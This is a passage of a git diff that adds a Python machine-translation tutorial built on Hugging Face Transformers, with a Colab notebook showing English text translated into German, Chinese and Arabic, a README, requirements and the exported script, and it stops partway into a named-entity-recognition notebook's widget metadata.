+            "  Downloading tokenizers-0.10.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (3.3 MB)\n",
+            "\u001b[K     |████████████████████████████████| 3.3 MB 40.9 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (21.2)\n",
+            "Requirement already satisfied: tqdm>=4.27 in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (4.62.3)\n",
+            "Requirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (4.8.2)\n",
+            "Collecting pyyaml>=5.1\n",
+            "  Downloading PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (596 kB)\n",
+            "\u001b[K     |████████████████████████████████| 596 kB 28.6 MB/s \n",
+            "\u001b[?25hCollecting huggingface-hub<1.0,>=0.1.0\n",
+            "  Downloading huggingface_hub-0.1.2-py3-none-any.whl (59 kB)\n",
+            "\u001b[K     |████████████████████████████████| 59 kB 5.8 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (2019.12.20)\n",
+            "Requirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (1.19.5)\n",
+            "Collecting sacremoses\n",
+            "  Downloading sacremoses-0.0.46-py3-none-any.whl (895 kB)\n",
+            "\u001b[K     |████████████████████████████████| 895 kB 35.5 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (3.3.2)\n",
+            "Requirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.7/dist-packages (from huggingface-hub<1.0,>=0.1.0->transformers==4.12.4) (3.10.0.2)\n",
+            "Requirement already satisfied: pyparsing<3,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->transformers==4.12.4) (2.4.7)\n",
+            "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from importlib-metadata->transformers==4.12.4) (3.6.0)\n",
+            "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.12.4) (2021.10.8)\n",
+            "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.12.4) (2.10)\n",
+            "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.12.4) (3.0.4)\n",
+            "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.12.4) (1.24.3)\n",
+            "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.12.4) (1.1.0)\n",
+            "Requirement already satisfied: click in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.12.4) (7.1.2)\n",
+            "Requirement already satisfied: six in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.12.4) (1.15.0)\n",
+            "Installing collected packages: pyyaml, tokenizers, sacremoses, huggingface-hub, transformers, sentencepiece\n",
+            "  Attempting uninstall: pyyaml\n",
+            "    Found existing installation: PyYAML 3.13\n",
+            "    Uninstalling PyYAML-3.13:\n",
+            "      Successfully uninstalled PyYAML-3.13\n",
+            "Successfully installed huggingface-hub-0.1.2 pyyaml-6.0 sacremoses-0.0.46 sentencepiece-0.1.96 tokenizers-0.10.3 transformers-4.12.4\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "QHQAZ1rLmJ5S"
+      },
+      "source": [
+        "from transformers import *"
+      ],
+      "execution_count": 2,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 209,
+          "referenced_widgets": [
+            "8fdf3032d9214317a6f7459c5a6aa899",
+            "9647fbdcc4c3409bb60ee4aa08184c9a",
+            "3a97b74f252148768872481480df1d6d",
+            "93a6daec11184f35ac8aa21fb10d92a8",
+            "5a3fd6722aff493384f76c9a100093e5",
+            "f48db2ee49be467a8366fc632acf1132",
+            "cce00478fd014b4abf339430615b43e7",
+            "66bc4a903df64c5c80b36afb5a73303a",
+            "cda1d8c6c9f34d1787da7f836d0d796f",
+            "6905d5dab109461bad5fdf88f4956beb",
+            "da99d1ba45594c39ab373d83ab861e2e",
+            "2f957dbc765240d1ac58c0bdb4b64d9d",
+            "9daedae4de424ad7aa796c313d0500e2",
+            "2787103f35bf4c838d76c94afab87d9f",
+            "419ce161273e47329c7131fc321f41bc",
+            "10bf7989bbfa4d7298b66e20b842bbdb",
+            "cbb063f501bc4bc390caec21d548a13f",
+            "68691e2f527644ed946c8d4bbc5fb24b",
+            "e7d8d6f022b84065aa5de0c6a905e3d3",
+            "7783a63b374e4a42a549b841f0bfb7ea",
+            "cab62258200a4b63b618be516639b1ca",
+            "d65fa40a86b7439ba299224d55ad4c35",
+            "06cbeedd6aaa48729e6468585dfd841b",
+            "c82fe526735e492ab113e65b190e39f9",
+            "2df15105d5264771b8ad0f5eb7587f3c",
+            "c552329104e346b4889e055c8b581a3c",
+            "70e48bc5c828474aba0f06ecb318e061",
+            "5111fcaa6eaf47dd83f9f2f9ea79db57",
+            "c45d54d130b040489871a4bf5acfed2c",
+            "312ee383da1e4fe4a133bad9b364c3c0",
+            "1bba34dddcd8402290cd46a0718b67d7",
+            "16e49345f7384ecf8cd9bfd408f4f7dc",
+            "a06473eb59d64bfd96a98263296e2d75",
+            "a90f8f8132f047e8a69d1f6425bb5631",
+            "b7af650e9e7a429fbc0b72b0a2b86d9f",
+            "24e46b4c68f646cea183a68390f3af8c",
+            "0da6da23b2974ff9948536a3b34e4f55",
+            "fa58681afc7b4eca88dff0912cc62fe8",
+            "3ce811726f98442593d3a67e2ca1d548",
+            "0693368adfe349cd975f36ad98d13dea",
+            "c652754b90b2492fa3094e2201dc8bd6",
+            "443bbb852eb44a018995132f4538239a",
+            "d6a1f69cd7104f0081887a439a7deb96",
+            "0b66ebebbd2f41e08c3d764813971dce",
+            "e770bb0d629e4d94abb60203e8482f12",
+            "77815b9ee238491ebda08636307ee0da",
+            "e2acf510c8d841cb8ee025f2b8fe9cbe",
+            "e7cf4e18ebd24de0a939b514de23d143",
+            "556eb46d019e4ea2802be0dea572f88f",
+            "d806b0124be445b9ad9f4849c5b30dd4",
+            "f658e5f47ad544ba90e78f27c8fb098e",
+            "76e224f6a8474f2782aaed27a5a4df74",
+            "3937370dc31748a382f6e610585534d3",
+            "d481874811ca4585b3becf6acc12f71d",
+            "bf6ed5073ad2448e96463ea126d406c7",
+            "d8ca8a733c8c4742a213faf75d0d74dd",
+            "362c95c02cf34d1788ae73443d674782",
+            "1344a76df2f6425ead2bf254d5855846",
+            "295e356b56f8455a9d070c3200b901d5",
+            "fee238f6fd934cbfa41472196be2f014",
+            "8582a4473044420a9ce31630988bdd99",
+            "53789f8fbe274269be06bf2d1ce8ee08",
+            "71357c83f3d945638d4a3d2050c48bb4",
+            "5acc31388b644823a086bb033eb98c05",
+            "a90d42c930fb4fcc91a9045cbb21cda2",
+            "d79410065a6a480191b7e84384e6786a"
+          ]
+        },
+        "id": "Jqwu5kPwmLp1",
+        "outputId": "5f432092-f2b1-4e14-c6d7-3f29d22a8c33"
+      },
+      "source": [
+        "# source & destination languages\n",
+        "src = \"en\"\n",
+        "dst = \"de\"\n",
+        "\n",
+        "task_name = f\"translation_{src}_to_{dst}\"\n",
+        "model_name = f\"Helsinki-NLP/opus-mt-{src}-{dst}\"\n",
+        "\n",
+        "translator  = pipeline(task_name, model=model_name, tokenizer=model_name)"
+      ],
+      "execution_count": 21,
+      "outputs": [
+        {
+          "output_type": "display_data",
+          "data": {
+            "application/vnd.jupyter.widget-view+json": {
+              "model_id": "8fdf3032d9214317a6f7459c5a6aa899",
+              "version_minor": 0,
+              "version_major": 2
+            },
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/1.30k [00:00, ?B/s]"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "application/vnd.jupyter.widget-view+json": {
+              "model_id": "2f957dbc765240d1ac58c0bdb4b64d9d",
+              "version_minor": 0,
+              "version_major": 2
+            },
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/284M [00:00, ?B/s]"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "application/vnd.jupyter.widget-view+json": {
+              "model_id": "06cbeedd6aaa48729e6468585dfd841b",
+              "version_minor": 0,
+              "version_major": 2
+            },
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/42.0 [00:00, ?B/s]"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "application/vnd.jupyter.widget-view+json": {
+              "model_id": "a90f8f8132f047e8a69d1f6425bb5631",
+              "version_minor": 0,
+              "version_major": 2
+            },
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/750k [00:00, ?B/s]"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "application/vnd.jupyter.widget-view+json": {
+              "model_id": "e770bb0d629e4d94abb60203e8482f12",
+              "version_minor": 0,
+              "version_major": 2
+            },
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/778k [00:00, ?B/s]"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "application/vnd.jupyter.widget-view+json": {
+              "model_id": "d8ca8a733c8c4742a213faf75d0d74dd",
+              "version_minor": 0,
+              "version_major": 2
+            },
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/1.21M [00:00, ?B/s]"
+            ]
+          },
+          "metadata": {}
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 35
+        },
+        "id": "nmksW-NjmfNS",
+        "outputId": "92f8920a-c7b7-465a-9fb0-96d1e7a34ee9"
+      },
+      "source": [
+        "translator(\"You're a genius.\")[0][\"translation_text\"]"
+      ],
+      "execution_count": 22,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "string"
+            },
+            "text/plain": [
+              "'Du bist ein Genie.'"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 22
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "x5phRJCDmZDV"
+      },
+      "source": [
+        "article = \"\"\"\n",
+        "Albert Einstein ( 14 March 1879 – 18 April 1955) was a German-born theoretical physicist, widely acknowledged to be one of the greatest physicists of all time. \n",
+        "Einstein is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics. \n",
+        "Relativity and quantum mechanics are together the two pillars of modern physics. \n",
+        "His mass–energy equivalence formula E = mc2, which arises from relativity theory, has been dubbed \"the world's most famous equation\". \n",
+        "His work is also known for its influence on the philosophy of science.\n",
+        "He received the 1921 Nobel Prize in Physics \"for his services to theoretical physics, and especially for his discovery of the law of the photoelectric effect\", a pivotal step in the development of quantum theory. \n",
+        "His intellectual achievements and originality resulted in \"Einstein\" becoming synonymous with \"genius\"\n",
+        "\"\"\""
+      ],
+      "execution_count": 23,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 120
+        },
+        "id": "IDpLLQhcmbJq",
+        "outputId": "6721fe2f-39bb-4b3e-abcf-2d87ee18b639"
+      },
+      "source": [
+        "translator(article)[0][\"translation_text\"]"
+      ],
+      "execution_count": 24,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "string"
+            },
+            "text/plain": [
+              "'Albert Einstein (* 14. März 1879 – 18. April 1955) war ein deutscher theoretischer Physiker, der allgemein als einer der größten Physiker aller Zeiten anerkannt wurde. Einstein ist am besten für die Entwicklung der Relativitätstheorie bekannt, aber er leistete auch wichtige Beiträge zur Entwicklung der Quantenmechaniktheorie. Relativität und Quantenmechanik sind zusammen die beiden Säulen der modernen Physik. Seine Massenenergieäquivalenzformel E = mc2, die aus der Relativitätstheorie hervorgeht, wurde als „die berühmteste Gleichung der Welt\" bezeichnet. Seine Arbeit ist auch für ihren Einfluss auf die Philosophie der Wissenschaft bekannt. Er erhielt 1921 den Nobelpreis für Physik „für seine Verdienste um die theoretische Physik und vor allem für seine Entdeckung des Gesetzes über den photoelektrischen Effekt\", einen entscheidenden Schritt in der Entwicklung der Quantentheorie. Seine intellektuellen Leistungen und Originalität führten dazu, dass „Einstein\" zum Synonym für „Genius\" wurde.'"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 24
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "3q0KA0GKwFlZ"
+      },
+      "source": [
+        "def get_translation_model_and_tokenizer(src_lang, dst_lang):\n",
+        "  \"\"\"\n",
+        "  Given the source and destination languages, returns the appropriate model\n",
+        "  See the language codes here: https://developers.google.com/admin-sdk/directory/v1/languages\n",
+        "  For the 3-character language codes, you can google for the code!\n",
+        "  \"\"\"\n",
+        "  # construct our model name\n",
+        "  model_name = f\"Helsinki-NLP/opus-mt-{src}-{dst}\"\n",
+        "  # initialize the tokenizer & model\n",
+        "  tokenizer = AutoTokenizer.from_pretrained(model_name)\n",
+        "  model = AutoModelForSeq2SeqLM.from_pretrained(model_name)\n",
+        "  # return them for use\n",
+        "  return model, tokenizer"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "hpH503VYmrmP"
+      },
+      "source": [
+        "# source & destination languages\n",
+        "src = \"en\"\n",
+        "dst = \"zh\"\n",
+        "\n",
+        "model, tokenizer = get_translation_model_and_tokenizer(src, dst)"
+      ],
+      "execution_count": 17,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "U3FSHpTWq5A0",
+        "outputId": "b3489286-b428-453a-dc36-abab6973c5d0"
+      },
+      "source": [
+        "# encode the text into tensor of integers using the appropriate tokenizer\n",
+        "inputs = tokenizer.encode(article, return_tensors=\"pt\", max_length=512, truncation=True)\n",
+        "print(inputs)"
+      ],
+      "execution_count": 18,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "tensor([[32614, 53456,    22,   992,   776,   822,  4048,     8,  3484,   822,\n",
+            "           820, 50940,    17,    43,    13,  8214,    16, 32941, 34899, 60593,\n",
+            "             2,  5514,  7131,     9,    34,   141,     4,     3,  7680, 60593,\n",
+            "            24,     4,    61,   220,     6, 53456,    32,  1109,  3305,    15,\n",
+            "           320,     3, 19082,     4,  1294, 24030, 28453,     2,   187,   172,\n",
+            "            81,   157,   435,  1061,     9,     3,    92,     4,     3, 19082,\n",
+            "             4, 52682, 54813,     6, 45978, 28453,     7, 52682, 54813,    46,\n",
+            "          1105,     3,   263, 12538,     4,  6683, 46089,     6,  1608,  3196,\n",
+            "          3484, 45425, 50560, 14655,   509,     8,  6873,  4374,   149,  9132,\n",
+            "            62, 22703,    51,  1294, 24030, 28453, 19082,     2,    66,    74,\n",
+            "         16044, 18553,   258,    40,  1862,   431,    23,    24,   447, 23761,\n",
+            "         47364, 10594,  1608,   119,    32,    81,  3305,    15,    45,  6748,\n",
+            "            19,     3, 34857,     4,  4102,     6,   250,   948,     3,   912,\n",
+            "           774, 38354, 33321,    11, 58505,    40,  4161,   175,   307,     9,\n",
+            "         34899, 46089,     2,     7,   978,    15,   175, 34026,     4,     3,\n",
+            "           191,     4,     3, 17952, 57867,  1766, 19622,    13, 29632,  2827,\n",
+            "            11,     3,    92,     4, 52682, 19082,     6,  1608,  6875,  5710,\n",
+            "             7,  5099,  2665,  3897,    11,    40,   338,   767, 40272,   480,\n",
+            "          6588, 57380,    29,    40,  9994, 20506,   480,     0]])\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "R5A4RWBSq_n-",
+        "outputId": "fd898ee8-b8e8-42e1-aa79-3dc9ef1c20e0"
+      },
+      "source": [
+        "# generate the translation output using greedy search\n",
+        "greedy_outputs = model.generate(inputs)\n",
+        "# decode the output and ignore special tokens\n",
+        "print(tokenizer.decode(greedy_outputs[0], skip_special_tokens=True))"
+      ],
+      "execution_count": 19,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "阿尔伯特·爱因斯坦(1879年3月14日至1955年4月18日)是德国出生的理论物理学家,被广泛承认是有史以来最伟大的物理学家之一。爱因斯坦以发展相对论闻名,但他也为量子力学理论的发展做出了重要贡献。相对论和量子力学是现代物理学的两大支柱。他的质量 — — 能源等值公式E = mc2来自相对论,被称作“世界最著名的方程 ” 。 他的工作也因其对科学哲学的影响而著称。 他获得了1921年诺贝尔物理奖,“因为他对理论物理学的服务,特别是他发现了光电效应法 ”, 这是量子理论发展的关键一步。 他的智力成就和创举导致“Einstein”成为“genius”的同义词。\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "oy8BPYvMrCbZ",
+        "outputId": "907f4bd7-a2b3-4788-f9bf-247202c44eed"
+      },
+      "source": [
+        "# generate the translation output using beam search\n",
+        "beam_outputs = model.generate(inputs, num_beams=3)\n",
+        "# decode the output and ignore special tokens\n",
+        "print(tokenizer.decode(beam_outputs[0], skip_special_tokens=True))"
+      ],
+      "execution_count": 20,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "阿尔伯特·爱因斯坦(1879年3月14日至1955年4月18日)是德国出生的理论物理学家,被广泛承认是有史以来最伟大的物理学家之一。爱因斯坦以发展相对论闻名,但他也为量子力学理论的发展做出了重要贡献。相对论和量子力学是现代物理学的两大支柱。来自相对论的其质量 — — 能源等值公式E=mc2被称作“世界上最著名的方程式 ” 。他的工作也因其对科学哲学的影响而著称。他获得了1921年诺贝尔物理奖,“因为他对理论物理学的服务,特别是他发现了光电效应法 ”, 这是量子理论发展的关键一步。他的智力成就和原创性导致了“Einstein”与“genius”的同义。\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "RNHweFpksflJ"
+      },
+      "source": [
+        "# let's change target language\n",
+        "src = \"en\"\n",
+        "dst = \"ar\"\n",
+        "\n",
+        "# get en-ar model & tokenizer\n",
+        "model, tokenizer = get_translation_model_and_tokenizer(src, dst)"
+      ],
+      "execution_count": 37,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "QFpVQt6WuTfS",
+        "outputId": "d2138937-11f4-44a9-a02c-e4ed691974bc"
+      },
+      "source": [
+        "# yet another example\n",
+        "text = \"It can be severe, and has caused millions of deaths around the world as well as lasting health problems in some who have survived the illness.\"\n",
+        "# tokenize the text\n",
+        "inputs = tokenizer.encode(text, return_tensors=\"pt\", max_length=512, truncation=True)\n",
+        "# this time we use 5 beams and return 5 sequences and we can compare!\n",
+        "beam_outputs = model.generate(\n",
+        "    inputs, \n",
+        "    num_beams=5, \n",
+        "    num_return_sequences=5,\n",
+        "    early_stopping=True,\n",
+        ")\n",
+        "for i, beam_output in enumerate(beam_outputs):\n",
+        "  print(tokenizer.decode(beam_output, skip_special_tokens=True))\n",
+        "  print(\"=\"*50)"
+      ],
+      "execution_count": 38,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "ويمكن أن تكون حادة، وقد تسببت في ملايين الوفيات في جميع أنحاء العالم، فضلا عن مشاكل صحية دائمة في بعض الذين نجوا من المرض.\n",
+            "==================================================\n",
+            "ويمكن أن تكون خطيرة، وقد تسببت في ملايين الوفيات في جميع أنحاء العالم، فضلا عن مشاكل صحية دائمة في بعض الذين نجوا من المرض.\n",
+            "==================================================\n",
+            "ويمكن أن تكون حادة، وقد تسببت في ملايين الوفيات في جميع أنحاء العالم، فضلا عن مشاكل صحية دائمة لدى بعض الذين نجوا من المرض.\n",
+            "==================================================\n",
+            "ويمكن أن تكون حادة، وقد تسببت في ملايين الوفيات في جميع أنحاء العالم، فضلا عن مشاكل صحية دائمة في بعض من نجوا من المرض.\n",
+            "==================================================\n",
+            "ويمكن أن تكون حادة، وقد تسببت في وفاة ملايين الأشخاص في جميع أنحاء العالم، فضلا عن مشاكل صحية دائمة في بعض الذين نجوا من المرض.\n",
+            "==================================================\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "QbCkRm58uep4"
+      },
+      "source": [
+        ""
+      ],
+      "execution_count": null,
+      "outputs": []
+    }
+  ]
+}
\ No newline at end of file
diff --git a/machine-learning/nlp/machine-translation/README.md b/machine-learning/nlp/machine-translation/README.md
new file mode 100644
index 00000000..9e2b52f7
--- /dev/null
+++ b/machine-learning/nlp/machine-translation/README.md
@@ -0,0 +1,3 @@
+# [How to Perform Machine Translation using Transformers in Python](https://www.thepythoncode.com/article/machine-translation-using-huggingface-transformers-in-python)
+To get it running:
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/machine-learning/nlp/machine-translation/machine_translation.py b/machine-learning/nlp/machine-translation/machine_translation.py
new file mode 100644
index 00000000..aed10fd5
--- /dev/null
+++ b/machine-learning/nlp/machine-translation/machine_translation.py
@@ -0,0 +1,92 @@
+# -*- coding: utf-8 -*-
+"""MachineTranslation-with-Transformers-PythonCode.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+    https://colab.research.google.com/drive/1RIcKVMVRcKVbhoyqpzy2s1KSchS4XJX2
+"""
+
+!pip install transformers==4.12.4 sentencepiece
+
+from transformers import *
+
+# source & destination languages
+src = "en"
+dst = "de"
+
+task_name = f"translation_{src}_to_{dst}"
+model_name = f"Helsinki-NLP/opus-mt-{src}-{dst}"
+
+translator  = pipeline(task_name, model=model_name, tokenizer=model_name)
+
+translator("You're a genius.")[0]["translation_text"]
+
+article = """
+Albert Einstein ( 14 March 1879 – 18 April 1955) was a German-born theoretical physicist, widely acknowledged to be one of the greatest physicists of all time. 
+Einstein is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics. 
+Relativity and quantum mechanics are together the two pillars of modern physics. 
+His mass–energy equivalence formula E = mc2, which arises from relativity theory, has been dubbed "the world's most famous equation". 
+His work is also known for its influence on the philosophy of science.
+He received the 1921 Nobel Prize in Physics "for his services to theoretical physics, and especially for his discovery of the law of the photoelectric effect", a pivotal step in the development of quantum theory. 
+His intellectual achievements and originality resulted in "Einstein" becoming synonymous with "genius"
+"""
+
+translator(article)[0]["translation_text"]
+
+def get_translation_model_and_tokenizer(src_lang, dst_lang):
+  """
+  Given the source and destination languages, returns the appropriate model
+  See the language codes here: https://developers.google.com/admin-sdk/directory/v1/languages
+  For the 3-character language codes, you can google for the code!
+  """
+  # construct our model name
+  model_name = f"Helsinki-NLP/opus-mt-{src}-{dst}"
+  # initialize the tokenizer & model
+  tokenizer = AutoTokenizer.from_pretrained(model_name)
+  model = AutoModelForSeq2SeqLM.from_pretrained(model_name)
+  # return them for use
+  return model, tokenizer
+
+# source & destination languages
+src = "en"
+dst = "zh"
+
+model, tokenizer = get_translation_model_and_tokenizer(src, dst)
+
+# encode the text into tensor of integers using the appropriate tokenizer
+inputs = tokenizer.encode(article, return_tensors="pt", max_length=512, truncation=True)
+print(inputs)
+
+# generate the translation output using greedy search
+greedy_outputs = model.generate(inputs)
+# decode the output and ignore special tokens
+print(tokenizer.decode(greedy_outputs[0], skip_special_tokens=True))
+
+# generate the translation output using beam search
+beam_outputs = model.generate(inputs, num_beams=3)
+# decode the output and ignore special tokens
+print(tokenizer.decode(beam_outputs[0], skip_special_tokens=True))
+
+# let's change target language
+src = "en"
+dst = "ar"
+
+# get en-ar model & tokenizer
+model, tokenizer = get_translation_model_and_tokenizer(src, dst)
+
+# yet another example
+text = "It can be severe, and has caused millions of deaths around the world as well as lasting health problems in some who have survived the illness."
+# tokenize the text
+inputs = tokenizer.encode(text, return_tensors="pt", max_length=512, truncation=True)
+# this time we use 5 beams and return 5 sequences and we can compare!
+beam_outputs = model.generate(
+    inputs, 
+    num_beams=5, 
+    num_return_sequences=5,
+    early_stopping=True,
+)
+for i, beam_output in enumerate(beam_outputs):
+  print(tokenizer.decode(beam_output, skip_special_tokens=True))
+  print("="*50)
+
diff --git a/machine-learning/nlp/machine-translation/requirements.txt b/machine-learning/nlp/machine-translation/requirements.txt
new file mode 100644
index 00000000..d2ff5a26
--- /dev/null
+++ b/machine-learning/nlp/machine-translation/requirements.txt
@@ -0,0 +1,2 @@
+transformers==4.12.4
+sentencepiece
\ No newline at end of file
diff --git a/machine-learning/nlp/named-entity-recognition/NER.ipynb b/machine-learning/nlp/named-entity-recognition/NER.ipynb
new file mode 100644
index 00000000..14a93dde
--- /dev/null
+++ b/machine-learning/nlp/named-entity-recognition/NER.ipynb
@@ -0,0 +1,7817 @@
+{
+  "nbformat": 4,
+  "nbformat_minor": 0,
+  "metadata": {
+    "colab": {
+      "name": "NER.ipynb",
+      "provenance": []
+    },
+    "kernelspec": {
+      "name": "python3",
+      "display_name": "Python 3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "d003aee1f68448d080b131160fbf0f42": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_13a93cbb501d449c8367e875f84dc8af",
+              "IPY_MODEL_dd4901e643d140b8b75c6031359a35ed",
+              "IPY_MODEL_510b8cdd5bfa44458b2bb63da21b5a5c"
+            ],
+            "layout": "IPY_MODEL_86f81b96b4a5459182ba60ca550f44b6"
+          }
+        },
+        "13a93cbb501d449c8367e875f84dc8af": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2c10acf72c97479c82ac853a5cd372bc",
+            "placeholder": "",
+            "style": "IPY_MODEL_9aaca0628fca4f2eaa79ce470f1cbe04",
+            "value": "Downloading: 100%"
+          }
+        },
+        "dd4901e643d140b8b75c6031359a35ed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7fb5607ab7174cdc8bbf91de38736aae",
+            "max": 829,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_5cb5ef67c23b49d8b60267a3243bda7e",
+            "value": 829
+          }
+        },
+        "510b8cdd5bfa44458b2bb63da21b5a5c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e3e2f4c00d87492b8910320d2013b2ed",
+            "placeholder": "",
+            "style": "IPY_MODEL_edbcb62bb5d74021a43a6fa87813dc6f",
+            "value": " 829/829 [00:00<00:00, 21.2kB/s]"
+          }
+        },
+        "86f81b96b4a5459182ba60ca550f44b6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
